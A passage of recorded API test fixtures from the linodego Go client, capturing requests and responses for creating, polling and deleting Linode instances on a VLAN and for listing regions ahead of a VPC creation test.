"NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-0","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-1","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46938079, "label": "go-ins-test-list-1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.230"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "915afd6c961c0333afa335a52a655d656beae128"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "711" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938078 method: GET response: body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938078 method: GET response: body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "705" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938079 method: GET response: body: '{"id": 46938079, "label": "go-ins-test-list-1", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.230"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "915afd6c961c0333afa335a52a655d656beae128"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "706" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label": "go-vlan-test-list"}' url: https://api.linode.com/v4beta/networking/vlans method: GET response: body: '{"data": [{"region": "ap-west", "label": "go-vlan-test-list", "linodes": [46938078, 46938079], "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938079 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938078 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_CreateGet.yaml000066400000000000000000000476211455402072200306640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036168866478000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 